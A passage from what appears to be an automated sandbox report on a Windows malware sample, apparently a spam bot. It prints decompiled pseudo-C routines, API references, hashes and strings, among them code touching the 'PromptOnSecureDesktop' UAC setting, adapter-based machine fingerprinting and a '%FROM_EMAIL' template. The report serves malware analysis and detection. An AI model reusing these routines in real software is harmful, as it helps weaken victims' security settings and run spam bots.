0x00000000
0x0040e69b
0x0040e69d
0x0040e69d
0x0040e69f
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(74E043E8,00000000,?,74E043E0,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,74E043E0,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,74E043E0,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731
A, xrefs: 0040E6F9, 0040E6FE, 0040E739

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040F26D, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402419, Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402419(void* __ecx, CHAR* _a4, intOrPtr _a8, CHAR* _a12) {
				int _v8;
				int _t18;
				intOrPtr _t20;
				CHAR* _t21;
				int _t30;
				CHAR* _t36;

				_t18 = lstrlenA(_a12);
				_t36 = _a4;
				_v8 = _t18;
				_t20 = _a8 + _t36;
				_a8 = _t20;
				if(_t36 >= _t20) {
					L5:
					_t21 = 0;
				} else {
					while(1) {
						_t30 = lstrlenA(_t36);
						_t7 =  &(_t36[1]); // 0x1
						_a4 = _t30 + _t7;
						if(_v8 == _t30 && lstrcmpiA(_t36, _a12) == 0 && _a4 < _a8) {
							break;
						}
						_t36 =  &(_t36[lstrlenA(_a4) + _t30 + 2]);
						if(_t36 < _a8) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t21 = _a4;
				}
				L6:
				return _t21;
			}

0x00402429
0x0040242b
0x0040242e
0x00402434
0x00402436
0x0040243b
0x00402474
0x00402474
0x0040243d
0x0040243d
0x00402440
0x00402442
0x00402446
0x0040244c
0x00000000
0x00000000
0x0040246b
0x00402472
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402472
0x0040247b
0x0040247b
0x00402476
0x0040247a

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Uniqueness

Uniqueness Score: -1.00%

Function 0041D91F, Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041D924
std::_Lockit::_Lockit.LIBCPMTD ref: 0041D936
std::exception::exception.LIBCMTD ref: 0041D96D

Part of subcall function 00421480: std::exception::_Copy_str.LIBCMTD ref: 004214AC

__CxxThrowException@8.LIBCMTD ref: 0041D982
std::_Locinfo::_Locinfo_ctor.LIBCPMTD ref: 0041D98B

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: std::_$Copy_strException@8H_prologLocinfo::_Locinfo_ctorLockitLockit::_Throwstd::exception::_std::exception::exception
String ID:
API String ID: 2505142940-0
Opcode ID: a55f2407eca844004bbe0c8d4439d9b3dc601e39f2d7437eb6cf2952a923a415
Instruction ID: 152dc8b0b4ddb5968262d049a8e4c74dc9ca8216649016790dbaa797364d6539
Opcode Fuzzy Hash: a55f2407eca844004bbe0c8d4439d9b3dc601e39f2d7437eb6cf2952a923a415
Instruction Fuzzy Hash: C70161B29017549EC711EF9A94805CEFFB4FF14344B80C56FE55993601C738A648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0086BCA4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0086BB82
wsprintfA.USER32 ref: 0086BCD5

Part of subcall function 0086ADD1: lstrcpyn.KERNEL32(?,?,0000003E), ref: 0086AE09

InterlockedIncrement.KERNEL32(?), ref: 0086BDFE

Strings

0t, xrefs: 0086BB82

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CountIncrementInterlockedTicklstrcpynwsprintf
String ID: 0t
API String ID: 1085182253-1355922044
Opcode ID: 820597d01a9478628097e3db4953929dbabae1dcb8fbf00f62f3edaa8e401da7
Instruction ID: 38d3ccf133763df0341071ca6040acc3827dd8f0d87b0ef91f4e62ad829b6410
Opcode Fuzzy Hash: 820597d01a9478628097e3db4953929dbabae1dcb8fbf00f62f3edaa8e401da7
Instruction Fuzzy Hash: FD415971900248DFDF25DF94DC85AE97BA5FB08309F25406AFA24D6262EB36DAC0CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0043E1B4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0043E213
_memset.LIBCMT ref: 0043E29C
__invalid_parameter.LIBCMTD ref: 0043E2FB

Strings

P, xrefs: 0043E310

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: 62543c3de2cd2c9a706f4e5fa2a0b1821968ced166975a08e456dd81364359e3
Instruction ID: a2b7306f0e92b8411ace9fb2038acbd6a04ec10d466481f1eccd73d667f8fa45
Opcode Fuzzy Hash: 62543c3de2cd2c9a706f4e5fa2a0b1821968ced166975a08e456dd81364359e3
Instruction Fuzzy Hash: 71419B30A41249DBCB14CFAAC845BAE7371FB49325F10866AE8252B3C0C3799951CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0040E52E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040E52E(void* __edx, void* __eflags) {
				long _v4;
				void* __ecx;
				void* _t9;
				void* _t11;
				void* _t17;
				long _t20;
				void* _t23;
				int _t24;
				void* _t28;
				void* _t32;
				void* _t37;
				void* _t40;
				void* _t44;

				_t44 = __eflags;
				_t32 = __edx;
				E0040DD05();
				_t28 = E0040DBCF(_t44, 0x80000000, 3);
				_pop(_t31);
				if(_t28 == 0xffffffff) {
					L6:
					_t9 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
					_t11 = E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t9);
					_t40 = _t37 + 0x34;
					if(_t11 == 0) {
						_t17 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t17);
						_t40 = _t40 + 0x34;
					}
					E0040EE2A(_t31, 0x4122f8, 0, 0x100);
					E0040EE2A(_t31, 0x4128f8, 0, 0x100);
					E0040DD69();
					return 1;
				}
				_t20 = GetFileSize(_t28, 0);
				_v4 = _t20;
				if(_t20 != 0) {
					E0040DB2E(_t20);
					_t23 =  *0x4136c4;
					_pop(_t31);
					if(_t23 != 0) {
						_t31 =  &_v4;
						_t24 = ReadFile(_t28, _t23, _v4,  &_v4, 0);
						_t48 = _t24;
						if(_t24 != 0) {
							E00402544( *0x4136c4,  *0x4136c4, _v4, 0xe4, 0xc8);
							E0040E332(_t32, _t48,  *0x4136c4, _v4);
							_t37 = _t37 + 0x1c;
						}
					}
				}
				CloseHandle(_t28);
				goto L6;
			}

0x0040e52e
0x0040e52e
0x0040e533
0x0040e544
0x0040e54c
0x0040e553
0x0040e5b8
0x0040e5c7
0x0040e5ed
0x0040e5f2
0x0040e5f7
0x0040e603
0x0040e624
0x0040e629
0x0040e629
0x0040e635
0x0040e63e
0x0040e646
0x0040e653
0x0040e653
0x0040e558
0x0040e55e
0x0040e564
0x0040e567
0x0040e56c
0x0040e571
0x0040e574
0x0040e578
0x0040e583
0x0040e589
0x0040e58b
0x0040e59a
0x0040e5a9
0x0040e5ae
0x0040e5ae
0x0040e58b
0x0040e574
0x0040e5b2
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

GetFileSize.KERNEL32(00000000,00000000,?,74E043E0,?,00000000,?,0040A445), ref: 0040E558
ReadFile.KERNEL32(00000000,?,00000000,?,00000000,?,74E043E0,?,00000000,?,0040A445), ref: 0040E583
CloseHandle.KERNEL32(00000000,?,74E043E0,?,00000000,?,0040A445), ref: 0040E5B2

Strings

PromptOnSecureDesktop, xrefs: 0040E5D9, 0040E5DE, 0040E615, 0040E634

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CloseCountCurrentExchangeHandleInterlockedReadSizeThreadTick
String ID: PromptOnSecureDesktop
API String ID: 3683885500-2980165447
Opcode ID: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction ID: 336cca8f28a0ae06816d6806ca3c094c6326420f96deeb8fe64773c8e7208e17
Opcode Fuzzy Hash: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction Fuzzy Hash: F321EAB19402047AE2207B639C0AFAB3D1CDF54758F10093EBA09B11E3E9BDD96082BD

Uniqueness

Uniqueness Score: -1.00%

Function 0086E77E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0086DF55: GetCurrentThreadId.KERNEL32 ref: 0086DFA3

GetFileSize.KERNEL32(00000000,00000000,?,00410170,?,00000000,?,0086A695), ref: 0086E7A8
ReadFile.KERNEL32(00000000,004136C4,00000000,?,00000000,?,00410170,?,00000000,?,0086A695), ref: 0086E7D3
CloseHandle.KERNEL32(00000000,?,00410170,?,00000000,?,0086A695), ref: 0086E802

Strings

PromptOnSecureDesktop, xrefs: 0086E829, 0086E82E, 0086E865, 0086E884

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: File$CloseCurrentHandleReadSizeThread
String ID: PromptOnSecureDesktop
API String ID: 1396056608-2980165447
Opcode ID: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction ID: b8ce9213bf83c6d3d6dd4c9ea4874cd40ee0bf607ce14428f18805dce400f54e
Opcode Fuzzy Hash: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction Fuzzy Hash: 732129B1E003007AE2257B399C4AFEB3E0CFB64750F110074BB09E91D3EAA5D85082B6

Uniqueness

Uniqueness Score: -1.00%

Function 004293F1, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042946B
__aullrem.LIBCMT ref: 0042963B
__aulldiv.LIBCMT ref: 0042965D

Strings

9, xrefs: 0042966E

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: b231a116dde1a1e3ddd348e86a6f4fd91d74cb526512b804d307c3b65dd09cfe
Instruction ID: f0f63c171efd882f48af0ecfffad498eb7693735ae488f7dc506967d2dd83225
Opcode Fuzzy Hash: b231a116dde1a1e3ddd348e86a6f4fd91d74cb526512b804d307c3b65dd09cfe
Instruction Fuzzy Hash: D34127B1E10229AFDF24CF48D881BAEB7B5FF85314F50409AE149A7241C7789E85CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0042A620, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042A69A
__aullrem.LIBCMT ref: 0042A86A
__aulldiv.LIBCMT ref: 0042A88C

Strings

9, xrefs: 0042A89D

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: b231a116dde1a1e3ddd348e86a6f4fd91d74cb526512b804d307c3b65dd09cfe
Instruction ID: 54c0e2f2b6c7ddce55598ba8f8df292d392f89ab7e501ebb56cfaa61845e43e1
Opcode Fuzzy Hash: b231a116dde1a1e3ddd348e86a6f4fd91d74cb526512b804d307c3b65dd09cfe
Instruction Fuzzy Hash: 0C4146B0E002299FDB24CF48D941BAEB7B5FF85314F44409AE548AB241C7389E95CF4E

Uniqueness

Uniqueness Score: -1.00%

Function 0042943F, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042946B
__aullrem.LIBCMT ref: 0042963B
__aulldiv.LIBCMT ref: 0042965D

Strings

9, xrefs: 0042966E

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 2610061170d83c2e279a4e0c44ee020642e5b5e42c868bd19eac4f97afe366bc
Instruction ID: 7e79aae4f9955b9fe2928e82a1f279eddeb4a6353ad20176cb783788770038ea
Opcode Fuzzy Hash: 2610061170d83c2e279a4e0c44ee020642e5b5e42c868bd19eac4f97afe366bc
Instruction Fuzzy Hash: 6A4116B1F00629AFDF24CF48D981BAEB7B5BF85314F4041AAE149A7201C7389E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A66E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042A69A
__aullrem.LIBCMT ref: 0042A86A
__aulldiv.LIBCMT ref: 0042A88C

Strings

9, xrefs: 0042A89D

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 2610061170d83c2e279a4e0c44ee020642e5b5e42c868bd19eac4f97afe366bc
Instruction ID: 02e10e178ab4ee8202fec894d1b52ddd67dcc3d484c3af4703a4cb21c136396b
Opcode Fuzzy Hash: 2610061170d83c2e279a4e0c44ee020642e5b5e42c868bd19eac4f97afe366bc
Instruction Fuzzy Hash: 964128B1E002299FDF24CF48D981BAEB7B5FF85314F448199D548A7201C7389E95CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0043A6D6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A702
__aullrem.LIBCMT ref: 0043A8CF
__aulldiv.LIBCMT ref: 0043A8F1

Strings

9, xrefs: 0043A902

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a4ed36a07e577493b0e2120869347d14eb8fc0af986ae3839301732a5b750fb1
Instruction ID: fe32e6781a00e19e86f8d04dff4231f3bb542cdf15353865f4a6d08e24353c37
Opcode Fuzzy Hash: a4ed36a07e577493b0e2120869347d14eb8fc0af986ae3839301732a5b750fb1
Instruction Fuzzy Hash: F141F4B1D05228DFEB28DF48CC89BAEB7B5FB48304F14959AD099A7240D7389E91CF45

Uniqueness

Uniqueness Score: -1.00%

Function 004293E8, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042946B
_get_int64_arg.LIBCMTD ref: 00429493
__aullrem.LIBCMT ref: 0042963B
__aulldiv.LIBCMT ref: 0042965D

Strings

9, xrefs: 0042966E

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 10843449941f7ffec8e4daedb2b934cad71271c8cc9e3ac1e3d8126015e576bf
Instruction ID: d53265cd9e85afb095ac26d45245f775c8cbd688928f00163bc6ea9e2e6e3056
Opcode Fuzzy Hash: 10843449941f7ffec8e4daedb2b934cad71271c8cc9e3ac1e3d8126015e576bf
Instruction Fuzzy Hash: 164114B1F00629AFDF24CF48D981BAEB7B5BF85314F5041AAE149A7201C7789E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A617, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042A69A
_get_int64_arg.LIBCMTD ref: 0042A6C2
__aullrem.LIBCMT ref: 0042A86A
__aulldiv.LIBCMT ref: 0042A88C

Strings

9, xrefs: 0042A89D

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 10843449941f7ffec8e4daedb2b934cad71271c8cc9e3ac1e3d8126015e576bf
Instruction ID: 0699a8f2f9bb2f0fda3b645d11cb90c9d2ebd8bdf3430a6235a4dfe111dafca5
Opcode Fuzzy Hash: 10843449941f7ffec8e4daedb2b934cad71271c8cc9e3ac1e3d8126015e576bf
Instruction Fuzzy Hash: 004126B1E002299FDB24CF58D981BAEB7B5FF85314F4041DAE548A7201C7389E95CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0043A685, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A702
_get_int64_arg.LIBCMTD ref: 0043A72A
__aullrem.LIBCMT ref: 0043A8CF
__aulldiv.LIBCMT ref: 0043A8F1

Strings

9, xrefs: 0043A902

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: a079c35ffe49c14f2d674623584d0afc7cfbb29e803ea2809ab694d1ec85673f
Instruction ID: 6ad62c78ce436a36e99d8e9755890fcf89dea77ffc7549b888cd8471d3d93a8e
Opcode Fuzzy Hash: a079c35ffe49c14f2d674623584d0afc7cfbb29e803ea2809ab694d1ec85673f
Instruction Fuzzy Hash: 8741F8B1D05228DFDB28DF58C889BAEB7B5FB48304F10959AD089A7240D7389E91CF46

Uniqueness

Uniqueness Score: -1.00%

Function 0086BC63, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0086B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0086BA23
InterlockedIncrement.KERNEL32(?), ref: 0086BA7D
GetTickCount.KERNEL32 ref: 0086BB62
GetTickCount.KERNEL32 ref: 0086BB82
InterlockedIncrement.KERNEL32(?), ref: 0086BDFE
closesocket.WS2_32(00000000), ref: 0086BE9D

Strings

0t, xrefs: 0086BB82
%FROM_EMAIL, xrefs: 0086BC66

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: %FROM_EMAIL$0t
API String ID: 1869671989-1316789084
Opcode ID: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction ID: b077d0b396c37f1fe1917dbdeb0105a88d770911ce6e869cbe69434e8cfe5ae9
Opcode Fuzzy Hash: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction Fuzzy Hash: EB318C71500248EFDF25DFA4DC85AEE77A8FB44704F21406AFA24D6161EB36DA84CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401AC3() {
				signed int _v8;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _t19;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr* _t28;
				signed int _t39;
				void* _t41;
				intOrPtr _t43;

				_v16 = 0;
				_t19 = LoadLibraryA("Iphlpapi.dll");
				if(_t19 == 0) {
					L15:
					return _v16;
				}
				_t28 = GetProcAddress(_t19, "GetAdaptersAddresses");
				if(_t28 == 0) {
					L14:
					goto L15;
				}
				_push( &_v12);
				_v8 = 0;
				_v12 = 0;
				_push(0);
				while(1) {
					_t41 =  *_t28(2, 0, 0);
					if(_t41 != 0x6f) {
						break;
					}
					_t24 = E0040EBED(_v8, _v12);
					if(_t24 == 0) {
						break;
					}
					_push( &_v12);
					_v8 = _t24;
					_push(_t24);
				}
				if(_t41 != 0) {
					L11:
					if(_v8 != 0) {
						E0040EC2E(_v8);
					}
					L13:
					goto L14;
				}
				_t26 = _v8;
				if(_t26 == 0) {
					goto L13;
				} else {
					goto L8;
				}
				do {
					L8:
					_t43 =  *((intOrPtr*)(_t26 + 0x34));
					_t39 = 0;
					if(_t43 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_v16 = _v16 ^ ( *(_t26 + _t39 + 0x2c) & 0x000000ff) << (_t39 & 0x00000003) << 0x00000003;
						_t39 = _t39 + 1;
					} while (_t39 < _t43);
					L10:
					_t26 =  *((intOrPtr*)(_t26 + 8));
				} while (_t26 != 0);
				goto L11;
			}

0x00401ad1
0x00401ad4
0x00401adc
0x00401b6b
0x00401b70
0x00401b70
0x00401aef
0x00401af3
0x00401b6a
0x00000000
0x00401b6a
0x00401af9
0x00401afa
0x00401afd
0x00401b00
0x00401b1c
0x00401b22
0x00401b27
0x00000000
0x00000000
0x00401b09
0x00401b12
0x00000000
0x00000000
0x00401b17
0x00401b18
0x00401b1b
0x00401b1b
0x00401b2b
0x00401b5b
0x00401b5e
0x00401b63
0x00401b68
0x00401b69
0x00000000
0x00401b69
0x00401b2d
0x00401b32
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b34
0x00401b34
0x00401b34
0x00401b37
0x00401b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b3d
0x00401b3d
0x00401b4c
0x00401b4f
0x00401b50
0x00401b54
0x00401b54
0x00401b57
0x00000000

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

Strings

Iphlpapi.dll, xrefs: 00401ACC
GetAdaptersAddresses, xrefs: 00401AE3

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00408CEE, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408CEE() {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _t15;
				char _t17;
				intOrPtr _t19;
				intOrPtr* _t20;
				void* _t25;
				signed int _t31;
				signed char _t35;
				signed int _t36;
				char* _t41;
				intOrPtr* _t42;
				signed int _t45;

				_push(_t34);
				_t31 = 0;
				if( *0x413380 == 0) {
					L17:
					return _t15;
				}
				_t15 = GetTickCount() -  *0x413388;
				if(_t15 < 0xea60) {
					goto L17;
				}
				_t41 =  *0x413380;
				_t17 =  *_t41;
				_t45 =  *(_t41 + 1);
				_t42 = _t41 + 5;
				_v12 = _t17;
				if(_t17 <= 0) {
					L16:
					_t15 = GetTickCount();
					 *0x413388 = _t15;
					goto L17;
				} else {
					_v8 = _t42;
					do {
						_t35 =  *_v8;
						if(_t35 != 8) {
							if(_t35 != 9) {
								_t36 = _t35;
								_t19 =  *((intOrPtr*)(0x413300 + _t36 * 4));
								if(_t19 == 0) {
									goto L12;
								}
								_t9 = _t19 + 0x34; // 0x3b10c483
								if(_t36 ==  *_t9) {
									_t13 = _t19 + 0x50; // 0x7486850
									_t20 =  *_t13;
									if(_t20 != 0) {
										 *_t20(_t45 >>  *(_t31 * 5 + _t42) & 0x00000001);
									}
									goto L16;
								}
								goto L12;
							}
							_t25 = E0040A688(_t45 >> _t35 & 0x00000001);
							L8:
							if(_t25 != 0) {
								_t6 = _v8 + 1; // 0x3cc6
								_t45 = _t45 |  *_t6;
							}
							goto L12;
						}
						_t25 = E0040A677(_t45 >> _t35 & 0x00000001);
						goto L8;
						L12:
						_v8 = _v8 + 5;
						_t31 = _t31 + 1;
					} while (_t31 < _v12);
					goto L16;
				}
			}

0x00408cf2
0x00408cf4
0x00408cfc
0x00408dae
0x00408db0
0x00408db0
0x00408d08
0x00408d13
0x00000000
0x00000000
0x00408d1b
0x00408d21
0x00408d24
0x00408d27
0x00408d2a
0x00408d2f
0x00408da1
0x00408da1
0x00408da8
0x00000000
0x00408d31
0x00408d31
0x00408d34
0x00408d37
0x00408d3c
0x00408d50
0x00408d6c
0x00408d6f
0x00408d78
